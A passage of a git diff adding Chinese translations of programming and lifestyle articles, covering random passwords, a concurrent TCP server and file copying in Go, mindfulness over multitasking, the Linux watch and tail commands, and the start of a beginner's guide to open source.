实用程序接受单个(可选)命令行参数,以定义生成密码的长度,默认值为 8,这是一个非常常见的密码长度。执行 `randomPass.go` 会得到类似下面的输出: + +``` +$ go run randomPass.go 1 +Z +$ go run randomPass.go 10 +#Cw^a#IwkT +$ go run randomPass.go +Using default values! +[PP8@'Ci +``` + +最后一个细节:不要忘记调用 `rand.Seed()`,并提供一个种子seed值,以初始化随机数生成器。如果你始终使用相同的种子值,随机数生成器将生成相同的随机整数序列。 + +![随机数生成代码][5] + +你可以在 [GitHub][6] 找到 `random.go` 和 `randomPass.go` 的源码。你也可以直接在 [play.golang.org][7] 上执行它们。 + +我希望这篇文章对你有所帮助。如有任何问题,请在下方发表评论或在 [Twitter][8] 上与我联系。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/18/5/creating-random-secure-passwords-go + +作者:[Mihalis Tsoukalos][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mtsouk +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/laptop-password.jpg +[2]: https://golang.org/ +[3]: https://tour.golang.org/welcome/1 +[4]: https://golang.org/pkg/math/rand/ +[5]: https://opensource.com/sites/default/files/styles/panopoly_image_original/public/uploads/random.png?itok=DG0QPUGX +[6]: https://github.com/mactsouk/opensource.com +[7]: https://play.golang.org/ +[8]: https://twitter.com/mactsouk diff --git a/published/202205/20180529 Build a concurrent TCP server in Go.md b/published/202205/20180529 Build a concurrent TCP server in Go.md new file mode 100644 index 0000000000..8cd93bf002 --- /dev/null +++ b/published/202205/20180529 Build a concurrent TCP server in Go.md @@ -0,0 +1,153 @@ +[#]: subject: "Build a concurrent TCP server in Go" +[#]: via: "https://opensource.com/article/18/5/building-concurrent-tcp-server-go" +[#]: author: "Mihalis Tsoukalos https://opensource.com/users/mtsouk" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14623-1.html" + +在 Go 中实现一个支持并发的 TCP 服务端 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/22/115536nkfuuf4dklgg7fsx.jpg) + +> 仅用大约 65 行代码,开发一个用于生成随机数、支持并发的 TCP 服务端。 + +TCP 和 UDP 服务端随处可见,它们基于 TCP/IP 协议栈,通过网络为客户端提供服务。在这篇文章中,我将介绍如何使用 [Go 语言][2] 开发一个用于返回随机数、支持并发的 TCP 服务端。对于每一个来自 TCP 客户端的连接,它都会启动一个新的 goroutine(轻量级线程)来处理相应的请求。 + +你可以在 GitHub 上找到本项目的源码:[concTcp.go][3]。 + +### 处理 TCP 连接 + +这个程序的主要逻辑在 `handleConnection()` 函数中,具体实现如下: + +``` +func handleConnection(c net.Conn) { +        fmt.Printf("Serving %s\n", c.RemoteAddr().String()) +        for { +                netData, err := bufio.NewReader(c).ReadString('\n') +                if err != nil { +                        fmt.Println(err) +                        return +                } + +                temp := strings.TrimSpace(string(netData)) +                if temp == "STOP" { +                        break +                } + +                result := strconv.Itoa(random()) + "\n" +                c.Write([]byte(string(result))) +        } +        c.Close() +} +``` + +如果 TCP 客户端发送了一个 “STOP” 字符串,为它提供服务的 goroutine 就会终止;否则,TCP 服务端就会返回一个随机数给它。只要客户端不主动终止,服务端就会一直提供服务,这是由 `for` 循环保证的。具体来说,`for` 循环中的代码使用了 `bufio.NewReader(c).ReadString('\n')` 来逐行读取客户端发来的数据,并使用 `c.Write([]byte(string(result)))` 来返回数据(生成的随机数)。你可以在 Go 的 net 标准包 [文档][4] 中了解更多。 + + +### 支持并发 + +在 `main()` 函数的实现部分,每当 TCP 服务端收到 TCP 客户端的连接请求,它都会启动一个新的 goroutine 来为这个请求提供服务。 + +``` +func main() { +        arguments := os.Args +        if len(arguments) == 1 { +                fmt.Println("Please provide a port number!") +                return +        } + +        PORT := ":" + arguments[1] +        l, err := net.Listen("tcp4", PORT) +        if err != nil { +                fmt.Println(err) +                return +        } +        defer l.Close() +        rand.Seed(time.Now().Unix()) + +        for { +                c, err := l.Accept() +                if err != nil { +                        fmt.Println(err) +                        return +                } +                go handleConnection(c) +        } +} +``` + +首先,`main()` 确保程序至少有一个命令行参数。注意,现有代码并没有检查这个参数是否为有效的 TCP 端口号。不过,如果它是一个无效的 TCP 端口号,`net.Listen()` 就会调用失败,并返回一个错误信息,类似下面这样: + +``` +$ go run concTCP.go 12a +listen tcp4: lookup tcp4/12a: nodename nor servname provided, or not known +$ go run concTCP.go -10 +listen tcp4: address -10: invalid port +``` + +`net.Listen()` 函数用于告诉 Go 接受网络连接,因而承担了服务端的角色。它的返回值类型是 `net.Conn`,后者实现了 `io.Reader` 和 `io.Writer` 接口。此外,`main()` 函数中还调用了 `rand.Seed()` 函数,用于初始化随机数生成器。最后,`for` 循环允许程序一直使用 `Accept()` 函数来接受 TCP 客户端的连接请求,并以 goroutine 的方式来运行 `handleConnection(c)` 函数,处理客户端的后续请求。 + +### net.Listen() 的第一个参数 + +`net.Listen()` 函数的第一个参数定义了使用的网络类型,而第二个参数定义了服务端监听的地址和端口号。第一个参数的有效值为 `tcp`、`tcp4`、`tcp6`、`udp`、`udp4`、`udp6`、`ip`、`ip4`、`ip6`、`Unix`(Unix 套接字)、`Unixgram` 和 `Unixpacket`,其中:`tcp4`、`udp4` 和 `ip4` 只接受 IPv4 地址,而 `tcp6`、`udp6` 和 `ip6` 只接受 IPv6 地址。 + +### 服务端并发测试 + +`concTCP.go` 需要一个命令行参数,来指定监听的端口号。当它开始服务 TCP 客户端时,你会得到类似下面的输出: + +``` +$ go run concTCP.go 8001 +Serving 127.0.0.1:62554 +Serving 127.0.0.1:62556 +``` + +`netstat` 的输出可以确认 `congTCP.go` 正在为多个 TCP 客户端提供服务,并且仍在继续监听建立连接的请求: + +``` +$ netstat -anp TCP | grep 8001 +tcp4       0      0  127.0.0.1.8001         127.0.0.1.62556        ESTABLISHED +tcp4       0      0  127.0.0.1.62556        127.0.0.1.8001         ESTABLISHED +tcp4       0      0  127.0.0.1.8001         127.0.0.1.62554        ESTABLISHED +tcp4       0      0  127.0.0.1.62554        127.0.0.1.8001         ESTABLISHED +tcp4       0      0  *.8001                 *.*                    LISTEN +``` + +在上面输出中,最后一行显示了有一个进程正在监听 8001 端口,这意味着你可以继续连接 TCP 的 8001 端口。第一行和第二行显示了有一个已建立的 TCP 网络连接,它占用了 8001 和 62556 端口。相似地,第三行和第四行显示了有另一个已建立的 TCP 连接,它占用了 8001 和 62554 端口。 + +下面这张图片显示了 `concTCP.go` 在服务多个 TCP 客户端时的输出: + +![concTCP.go TCP 服务端测试][5] + +类似地,下面这张图片显示了两个 TCP 客户端的输出(使用了 `nc` 工具): + +![是用 nc 工具作为 concTCP.go 的 TCP 客户端][6] + +你可以在 [维基百科][7] 上找到更多关于 `nc`(即 `netcat`)的信息。 + +### 总结 + +现在,你学会了如何用大约 65 行 Go 代码来开发一个生成随机数、支持并发的 TCP 服务端,这真是太棒了!如果你想要让你的 TCP 服务端执行别的任务,只需要修改 `handleConnection()` 函数即可。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/18/5/building-concurrent-tcp-server-go + +作者:[Mihalis Tsoukalos][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mtsouk +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/go-golang.png +[2]: https://golang.org/ +[3]: https://github.com/mactsouk/opensource.com +[4]: https://golang.org/pkg/net/ +[5]: https://opensource.com/sites/default/files/uploads/tcp-in-go_server.png +[6]: https://opensource.com/sites/default/files/uploads/tcp-in-go_client.png +[7]: https://en.wikipedia.org/wiki/Netcat diff --git a/published/202205/20180625 3 ways to copy files in Go.md b/published/202205/20180625 3 ways to copy files in Go.md new file mode 100644 index 0000000000..7a6d0a1647 --- /dev/null +++ b/published/202205/20180625 3 ways to copy files in Go.md @@ -0,0 +1,216 @@ +[#]: subject: "3 ways to copy files in Go" +[#]: via: "https://opensource.com/article/18/6/copying-files-go" +[#]: author: "Mihalis Tsoukalos https://opensource.com/users/mtsouk" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14658-1.html" + +在 Go 中复制文件的三种方法 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/31/153413kcrth9v8c93r5u8e.jpg) + +> 本文是 Go 系列的第三篇文章,我将介绍三种最流行的复制文件的方法。 + +本文将介绍展示如何使用 [Go 编程语言][3] 来复制文件。在 Go 中复制文件的方法有很多,我只介绍三种最常见的:使用 Go 库中的 `io.Copy()` 函数调用、一次读取输入文件并将其写入另一个文件,以及使用缓冲区一块块地复制文件。 + +### 方法一:使用 io.Copy() + +第一种方法就是使用 Go 标准库的 `io.Copy()` 函数。你可以在 `copy()` 函数的代码中找到它的实现逻辑,如下所示: + +``` +func copy(src, dst string) (int64, error) { + sourceFileStat, err := os.Stat(src) + if err != nil { + return 0, err + } + + if !sourceFileStat.Mode().IsRegular() { + return 0, fmt.Errorf("%s is not a regular file", src) + } + + source, err := os.Open(src) + if err != nil { + return 0, err + } + defer source.Close() + + destination, err := os.Create(dst) + if err != nil { + return 0, err + } + defer destination.Close() + nBytes, err := io.Copy(destination, source) + return nBytes, err + } +``` + +首先,上述代码做了两个判断,以便确定它可以被打开读取:一是判断将要复制的文件是否存在(`os.Stat(src)`),二是判断它是否为常规文件(`sourceFileStat.Mode().IsRegular()`)。剩下的所有工作都由 `io.Copy(destination, source)` 这行代码来完成。`io.Copy()` 函数执行结束后,会返回复制的字节数和复制过程中发生的第一条错误消息。在 Go 中,如果没有错误消息,错误变量的值就为 `nil`。 + +你可以在 [io 包][4] 的文档页面了解有关 `io.Copy()` 函数的更多信息。 + +运行 `cp1.go` 将产生以下输出: + +``` +$ go run cp1.go +Please provide two command line arguments! +$ go run cp1.go fileCP.txt /tmp/fileCPCOPY +Copied 3826 bytes! +$ diff fileCP.txt /tmp/fileCPCOPY +``` + +这个方法已经非常简单了,不过它没有为开发者提供灵活性。这并不总是一件坏事,但是,有些时候,开发者可能会需要/想要告诉程序该如何读取文件。 + +### 方法二:使用 ioutil.WriteFile() 和 ioutil.ReadFile() + +复制文件的第二种方法是使用 `ioutil.ReadFile()` 和 `ioutil.WriteFile()` 函数。第一个函数用于将整个文件的内容,一次性地读入到某个内存中的字节切片里;第二个函数则用于将字节切片的内容写入到一个磁盘文件中。 + +实现代码如下: + +``` +input, err := ioutil.ReadFile(sourceFile) +if err != nil { + fmt.Println(err) + return +} + +err = ioutil.WriteFile(destinationFile, input, 0644) +if err != nil { + fmt.Println("Error creating", destinationFile) + fmt.Println(err) + return +} +``` + +上述代码包括了两个 `if` 代码块(嗯,用 Go 写程序就是这样的),程序的实际功能其实体现在 `ioutil.ReadFile()` 和 `ioutil.WriteFile()` 这两行代码中。 + +运行 `cp2.go`,你会得到下面的输出: + +``` +$ go run cp2.go +Please provide two command line arguments! +$ go run cp2.go fileCP.txt /tmp/copyFileCP +$ diff fileCP.txt /tmp/copyFileCP +``` + +请注意,虽然这种方法能够实现文件复制,但它在复制大文件时的效率可能不高。这是因为当文件很大时,`ioutil.ReadFile()` 返回的字节切片会很大。 + +### 方法三:使用 os.Read() 和 os.Write() + +在 Go 中复制文件的第三种方法就是下面要介绍的 `cp3.go`。它接受三个参数:输入文件名、输出文件名和缓冲区大小。 + +`cp3.go` 最重要的部分位于以下 `for` 循环中,你可以在 `copy()` 函数中找到它,如下所示: + +``` +buf := make([]byte, BUFFERSIZE) +for { + n, err := source.Read(buf) + if err != nil && err != io.EOF { + return err + } + if n == 0 { + break + } + + if _, err := destination.Write(buf[:n]); err != nil { + return err + } +} +``` + +该方法使用 `os.Read()` 将输入文件的一小部分读入名为 `buf` 的缓冲区,然后使用 `os.Write()` 将该缓冲区的内容写入文件。当读取出错或到达文件末尾(`io.EOF`)时,复制过程将停止。 + +运行 `cp3.go`,你会得到下面的输出: + +``` +$ go run cp3.go +usage: cp3 source destination BUFFERSIZE +$ go run cp3.go fileCP.txt /tmp/buf10 10 +Copying fileCP.txt to /tmp/buf10 +$ go run cp3.go fileCP.txt /tmp/buf20 20 +Copying fileCP.txt to /tmp/buf20 +``` + +在接下来的基准测试中,你会发现,缓冲区的大小极大地影响了 `cp3.go` 的性能。 + +### 运行基准测试 + +在本文的最后一部分,我将尝试比较这三个程序以及 `cp3.go` 在不同缓冲区大小下的性能(使用 `time(1)` 命令行工具)。 + +以下输出显示了复制 500MB 大小的文件时,`cp1.go`、`cp2.go` 和 `cp3.go` 的性能对比: + +``` +$ ls -l INPUT +-rw-r--r--  1 mtsouk  staff  512000000 Jun  5 09:39 INPUT +$ time go run cp1.go INPUT /tmp/cp1 +Copied 512000000 bytes! + +real    0m0.980s +user    0m0.219s +sys     0m0.719s +$ time go run cp2.go INPUT /tmp/cp2 + +real    0m1.139s +user    0m0.196s +sys     0m0.654s +$ time go run cp3.go INPUT /tmp/cp3 1000000 +Copying INPUT to /tmp/cp3 + +real    0m1.025s +user    0m0.195s +sys     0m0.486s +``` + +我们可以看出,这三个程序的性能非常接近,这意味着 Go 标准库函数的实现非常聪明、经过了充分优化。 + +现在,让我们测试一下缓冲区大小对 `cp3.go` 的性能有什么影响吧!执行 `cp3.go`,并分别指定缓冲区大小为 10、20 和 1000 字节,在一台运行很快的机器上复制 500MB 文件,得到的结果如下: + +``` +$ ls -l INPUT +-rw-r--r--  1 mtsouk  staff  512000000 Jun  5 09:39 INPUT +$ time go run cp3.go INPUT /tmp/buf10 10 +Copying INPUT to /tmp/buf10 + +real    6m39.721s +user    1m18.457s +sys 5m19.186s +$ time go run cp3.go INPUT /tmp/buf20 20 +Copying INPUT to /tmp/buf20 + +real    3m20.819s +user    0m39.444s +sys 2m40.380s +$ time go run cp3.go INPUT /tmp/buf1000 1000 +Copying INPUT to /tmp/buf1000 + +real    0m4.916s +user    0m1.001s +sys     0m3.986s +``` + +我们可以发现,缓冲区越大,`cp3.go` 运行得就越快,这或多或少是符合预期的。此外,使用小于 20 字节的缓冲区来复制大文件会非常缓慢,应该避免。 + +你可以在 [GitHub][5] 找到 `cp1.go`、`cp2.go` 和 `cp3.go` 的 Go 代码。 + +如果你有任何问题或反馈,请在(原文)下方发表评论或在 [Twitter][6] 上与我(原作者)联系。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/18/6/copying-files-go + +作者:[Mihalis Tsoukalos][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mtsouk +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/LIFE_cat.png +[3]: https://golang.org/ +[4]: https://golang.org/pkg/io/ +[5]: https://github.com/mactsouk/opensource.com +[6]: https://twitter.com/mactsouk diff --git a/published/202205/20190404 Why you should choose mindfulness over multitasking.md b/published/202205/20190404 Why you should choose mindfulness over multitasking.md new file mode 100644 index 0000000000..1d773a3d7a --- /dev/null +++ b/published/202205/20190404 Why you should choose mindfulness over multitasking.md @@ -0,0 +1,86 @@ +[#]: subject: "Why you should choose mindfulness over multitasking" +[#]: via: "https://opensource.com/article/19/4/mindfulness-over-multitasking" +[#]: author: "Sarah Wall https://opensource.com/users/sarahwall" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14581-1.html" + +你为什么应该选择专注而非一心多用 +====== + +> 如果你有时候会感觉大脑处于停滞状态,那么你可能正在遭受一心多用和决策疲劳。 + +![](https://img.linux.net.cn/data/attachment/album/202205/11/232939ixz3xfnhwxn5oz2i.jpg) + +想象一下,你刚完成了日常工作,坐在电脑前,手里拿着晨间咖啡,正准备开始新的一天。突然,一条 Slack 消息弹了出来,你扫了一眼邮件,然后切回 Slack。你打开日历,看看下一次会议是什么时候,令你惊讶的是,它 15 分钟后就要开始了!你回到办公桌前,开始检查待办事项,想看看在这短短 15 分钟内还能给自己安排什么任务,但不巧的是,这时你的一个同事请求你帮他解决一个问题。大半天就这样过去了,而你根本没有意识到…… + +我的许多日子都是这样度过的,不断地多个任务之间徘徊。有些时候,我发现自己盯着电脑,大脑完全停滞。如果你也发现自己处于这种情况,这可能是你的大脑发出的信号,提醒你休息一下。你可能正在遭受一心多用和决策疲劳。 + +平均而言,成年人每天要做大约 [35000 个决定][2]!它们可能是简单的决定,如吃什么或穿什么,也可能是需要更多思考的决定,如下一个假期去哪里或从事哪个职业。每天你都面临着大量的选择,它们占据了你的头脑。 + +### 分散注意力的一心多用 + +不只有你一个人每天面临着数以千计的决定,事实上,一心多用早已成为忙碌的、工作中的专业人士的常态。问题是,一心多用的伤害比它的帮助更大。你越是为了处理多任务而分散注意力,你的生产力就越是下降。 + +在一项研究中,自称是一心多用者的人,被要求以他们感觉自然的速度,在各种任务之间来回切换。同时,研究的对照组,被要求按顺序,一次完成一项工作。研究表明,多任务组的效率要低得多。每次他们切换任务时,都会出现速度减慢的情况,因为他们需要时间来回忆到目前为止所做的细节和步骤。这最终 [额外花费了大约 40% 的时间][3],并导致整体准确度降低。每次专注于一项任务的人,总体上花费的时间更少,并且完成了所有的任务。 + +### 选择专注 + +当大脑集中在一项活动上时,它的功能是最理想的。选择专注而不是一心多用,将使你在一天中获得更好的感受,并帮助你完成更好的工作。 + +“专注”可以被定义为有意识和察觉的。它实际上是指活在当下,并将注意力集中于眼前的事情上。在工作场所,专注有很多好处。它的诀窍在于建立边界和习惯,使你能够对每项任务给予充分的关注。 + +保持积极主动,为每天必须完成的项目排好优先级,并制定一个完成计划。这将使你能够在一些重要的事情上取得真正的进展,而不是被动应付。你的待办事项清单上的每个项目,都应该是独立、明确、可操作的。每天专注于三到五项任务,不要太多。 + +### 三种在工作日休息的方法 + +不要忘记把“休息”也放进一天的计划中。大脑每小时需要几分钟的休息,以休养生息,避免倦怠。休息一下对你的心理健康也有好处,最终 [有助于生产力的提高][4]。 + +这里有三种简单的“休息”方法,请把它们融入到你忙碌的一天中吧! + +#### 1、移动身体 + +花 10 分钟时间,离开你的椅子,站起来走一走。如果你的时间很紧张,可以站起来伸展两分钟。改变身体所处的位置,并专注于当下,将有助于缓解积聚在你心中的精神紧张。 + +#### 2、多笑 + +休息一下,与你的朋友和工作中的同事交谈。笑声可以减少压力荷尔蒙,并引发内啡肽的释放,内啡肽是人体天然的的化学物质,它会使人感觉良好。欢声笑语的小憩有助于放松你的头脑,对你的灵魂也有好处。 + +#### 3、深呼吸 + +用两分钟的休息时间来重置你的身心,使用腹部深呼吸。它可以使你的身心平静下来,改善氧气流动,并给你带来自然的能量提升。 + +1. 挺直坐正,将注意力放在腹部,感受它的柔软和放松。 +2. 从缓慢的深吸气开始,数三下,让氧气依次充满你的腹部、肋骨和上胸。 +3. 停顿一秒钟,然后与深吸气相反,从上胸、肋骨和腹部呼气,最后将腹部拉向脊柱。 +4. 再次停顿,然后重复。 + +### 重置自己 + +下次当你发现自己处于停滞状态,或是正在强迫状态不佳的自己完成一项任务时,请尝试上面的一些提示。最好是短暂休息一下,重置身心,而不要试图强行完成任务。相信我,你的身体和大脑会感谢你的! + +本文改编自《BodyMindSpirit》上的 [让自己休息一下][5] 和 ImageX 的博文 [专注而不是一心多用][6]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/19/4/mindfulness-over-multitasking + +作者:[Sarah Wall][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sarahwall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/life_tree_clouds.png +[2]: https://go.roberts.edu/leadingedge/the-great-choices-of-strategic-leaders +[3]: http://www.apa.org/research/action/multitask.aspx +[4]: https://opensource.com/article/19/3/guide-being-more-productive +[5]: https://body-mind-spirit-coach.com/2019/01/02/give-yourself-a-break/ +[6]: https://imagexmedia.com/mindfullness-over-multitasking +[7]: https://events.drupal.org/seattle2019/sessions/mindless-multitasking-dummy%E2%80%99s-guide-productivity +[8]: https://events.drupal.org/seattle2019 diff --git a/published/202205/20200303 Watching activity on Linux with watch and tail commands.md b/published/202205/20200303 Watching activity on Linux with watch and tail commands.md new file mode 100644 index 0000000000..bb8dd7b0d7 --- /dev/null +++ b/published/202205/20200303 Watching activity on Linux with watch and tail commands.md @@ -0,0 +1,150 @@ +[#]: collector: (lujun9972) +[#]: translator: (Starryi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14557-1.html) +[#]: subject: (Watching activity on Linux with watch and tail commands) +[#]: via: (https://www.networkworld.com/article/3529891/watching-activity-on-linux-with-watch-and-tail-commands.html) +[#]: author: (Sandra Henry-Stocker https://www.networkworld.com/author/Sandra-Henry_Stocker/) + +使用 watch 和 tail 命令监视 Linux 上的活动 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/07/091736ja5yt2yottef0kl4.jpg) + +> watch 和 tail 命令可以帮助监视 Linux 系统上的活动。本文介绍了这两个命令的一些有用的使用方法。 + +`watch` 和 `tail` 命令为持续监视 Linux 系统上的活动提供了一些有趣的选项。 + +也就是说,你可以通过 `watch` 来显示谁已登录,并随着用户登录和注销不断更新,而不是仅仅提出问题并获得答案(例如询问 `who` 并获取当前登录用户的列表)。 + +使用 `tail`,你可以显示文件的底部并在添加内容时查看内容。这种监控一般非常有用,并且比定期运行命令所需的工作更少。 + +### 使用 watch 命令 + +使用 `watch` 的最简单示例之一是使用命令 `watch who`。你会看到一个列表,其中显示了谁登录了,以及他们登录的时间和登录位置。请注意,默认设置是每两秒更新一次显示(左上角),日期和时间(右上角)将按该间隔自行更新。用户列表将随着用户登录和注销而增长和缩小。 + +``` +$ watch who +``` + +此命令将显示如下所示的登录列表: + +``` +Every 2.0s: who dragonfly: Thu Feb 27 10:52:00 2020 + +nemo pts/0 2020-02-27 08:07 (192.168.0.11) +shs pts/1 2020-02-27 10:58 (192.168.0.5) +``` + +你可以通过添加 `-n` 选项(例如 `-n 10`)来修改更新间的不同秒数,以修改更新间隔,从而获取较少的更新频率。 + +``` +$ watch -n 10 who +``` + +上述命令将以新的间隔显示,并且显示的时间更新频率较低,从而使显示时间与所选间隔保持一致。 + +``` +Every 10.0s: who dragonfly: Thu Feb 27 11:05:47 2020 + +nemo pts/0 2020-02-27 08:07 (192.168.0.11) +shs pts/1 2020-02-27 10:58 (192.168.0.5) +``` + +如果你希望仅查看命令的输出,而不是标题(前 2 行),则可以通过添加 `-t`(无标题)选项来省略这些行。 + +``` +$ watch -t who +``` + +然后,你的屏幕将显示如下所示: + +``` +nemo pts/0 2020-02-27 08:07 (192.168.0.11) +shs pts/1 2020-02-27 10:58 (192.168.0.5) +``` + +如果每次运行监视的命令时,输出都是相同的,则只有标题行(如果未省略)会更改。其余显示的信息将保持不变。 + +如果你希望 `watch` 命令在它正在监视的命令的输出发生更新后立即退出,则可以使用 `-g`(将其视为“离开go away”)选项。例如,如果你只是在等待其他人开始登录系统,则可以选择执行此操作。 + +你还可以使用 `-d`(差异differences)选项突出显示显示输出中的更改。突出显示只会持续一个间隔(默认为 2 秒),但有助于引起你对更新的注意。 + +下面是一个更复杂的示例,该示例使用 `watch` 命令显示正在侦听连接的服务及其使用的端口。虽然输出不太可能更改,但它会提醒你任何新服务正在启动或关闭。 + +``` +$ watch 'sudo lsof -i -P -n | grep LISTEN' +``` + +值得注意的是,正在运行的命令需要用引号扩起来,以确保不会将 `watch` 命令的输出发送到 `grep` 命令。 + +使用 `watch -h` 命令将为你提供命令选项的列表。 + +``` +$ watch -h + +Usage: + watch [options] command + +Options: + -b, --beep beep if command has a non-zero exit + -c, --color interpret ANSI color and style sequences + -d, --differences[=] + highlight changes between updates + -e, --errexit exit if command has a non-zero exit + -g, --chgexit exit when output from command changes + -n, --interval seconds to wait between updates + -p, --precise attempt run command in precise intervals + -t, --no-title turn off header + -x, --exec pass command to exec instead of "sh -c" + + -h, --help display this help and exit + -v, --version output version information and exit +``` + +### 使用 tail -f + +`tail -f` 命令与 `watch` 有一些相同之处。它也会在添加文件时显示文件的底部和其他内容。你不必一次又一次地运行 `tail` 命令,而是运行一个命令并获得可重复更新显示视图的结果。例如,你可以使用如下命令查看系统日志: + +``` +$ tail -f /var/log/syslog +``` + +某些文件(如 `/var/log/wtmp`)不适合这种类型的处理,因为它们的格式不是普通文本文件,但是通过组合 `watch` 和 `tail`,你可以获得类似的结果,如下所示: + +``` +watch 'who /var/log/wtmp | tail -20' +``` + +无论有多少用户仍处于登录状态,此命令都将只显示最近的 5 次登录。如果发生其他登录,显示结果将添加一行记录并删除顶行记录。 + +``` +Every 60.0s: who /var/log/wtmp | tail -5 dragonfly: Thu Feb 27 12:46:07 2020 + +shs pts/0 2020-02-27 08:07 (192.168.0.5) +nemo pts/1 2020-02-27 08:26 (192.168.0.5) +shs pts/1 2020-02-27 10:58 (192.168.0.5) +nemo pts/1 2020-02-27 11:34 (192.168.0.5) +dory pts/1 2020-02-27 12:14 (192.168.0.5) +``` + +对你有时可能想要监视的信息,无论监视进程、登录名还是系统资源,`watch` 和 `tail -f` 命令都可以提供自动更新视图,从而使监视任务变得更加容易。 + +-------------------------------------------------------------------------------- + +via: https://www.networkworld.com/article/3529891/watching-activity-on-linux-with-watch-and-tail-commands.html + +作者:[Sandra Henry-Stocker][a] +选题:[lujun9972][b] +译者:[Starryi](https://github.com/Starryi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.networkworld.com/author/Sandra-Henry_Stocker/ +[b]: https://github.com/lujun9972 +[1]: https://www.networkworld.com/newsletters/signup.html +[2]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) +[3]: https://www.facebook.com/NetworkWorld/ +[4]: https://www.linkedin.com/company/network-world diff --git a/published/202205/20200807 A Beginner-s Guide to Open Source.md b/published/202205/20200807 A Beginner-s Guide to Open Source.md new file mode 100644 index 0000000000..a51f88eefe --- /dev/null +++ b/published/202205/20200807 A Beginner-s Guide to Open Source.md @@ -0,0 +1,114 @@ +[#]: subject: "A Beginner's Guide to Open Source" +[#]: via: "https://ruthikegah.xyz/a-beginners-guide-to-open-source" +[#]: author: "Ruth Ikegah https://hashnode.com/@ikegah_ruth" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14600-1.html" + +开源新手指南 +====== + +![](https://img.linux.net.cn/data/attachment/album/202205/16/144822bal5z8ij44s4jcom.jpg) + +作为一名技术人员,你应该时不时会看到“开源Open Source”这个词。你有可能在浏览推文、博文时看到过它,也有可能是在学习某一门编程语言或使用某个工具时,看到它的部分介绍写着:这个工具/语言是“开源”的。总之,开源无处不在。 + +在本文中,我将介绍下面这三个话题: + +* 什么是开源 +* 贡献于开源的好处 +* 如何开始贡献 + +### 什么是开源 + +开源指的是这样一些软件、项目或社区:它们允许人们修改和分享,因为它们的设计目的就是为了让所有人都能访问。举一个关于菜谱的例子:你可以做你从未发明过的菜,因为发明这个菜谱的人公开了它。大多数时候,你也可以根据自己的口味烹饪,而不会呛到喉咙(开个玩笑)。 + +> 开源软件Open Source Software(OSS)是指源代码可供他人查看、复制、学习、修改或分享的软件。 + +下面是开源软件和语言的一些例子: + +* Linux 操作系统 +* Google 的 Android 操作系统 +* Firefox 浏览器 +* VLC 媒体播放器 +* Python 语言、PHP 语言、MySQL 数据库 + +与开源软件相反的是专有软件proprietary software / 闭源软件closed source software,只有软件的创造者才能自由使用,其他人若想使用,就得先获得法律许可才行。例如 Adobe Photoshop、微软 Office 等。 + +> 开源不仅限于软件或代码,技术领域的任何人都可以为开源做出贡献(各个角色)。有了开源,就有了透明度、可靠性、灵活性,并允许开放合作。 + +### 贡献于开源的好处 + +向开源项目或软件做贡献意味着“免费”让该项目变得更好。你应该会问自己,为什么我要关心或向自己强调“免费”呢?如果你是新手,你可以阅读 [Edidiong Asikpo][2] 的故事,她在 [这篇文章][3] 中说明了为什么开源是她成长的催化剂。 + +贡献开源的好处有很多,这里是其中一部分: + +* 它能够帮助你提高现有的技能,特别是对于新手而言,因为它允许你边做边学。 +* 无论身在何处,你都可以与世界各地的优秀科技人士协作或共事。 +* 你可以公开自己的想法,从而改善软件、项目或社区,让世界变得更美好。 +* 你可以通过贡献开源来得到大家的认可,或者成为独特或伟大事物的一部分(获得自豪感)。 +* 它让你有机会成为一个人才济济、活力四射的社区的一分子,你可以从中汲取灵感,并结识志同道合的人。 +* 你可以因为贡献开源而获得报酬(OoO)!比如你可以参与一些实习,包括 [谷歌编程之夏][4]Google Summer of Code、[Outreachy][5]、[谷歌文档季][6]Google Season of Docs,以及 Open Collective 的 [赏金计划][7]bounty program 等。(LCTT 译注:国内也有类似的开源实习机会,如“开源之夏”。) + +### 如何开始贡献 + 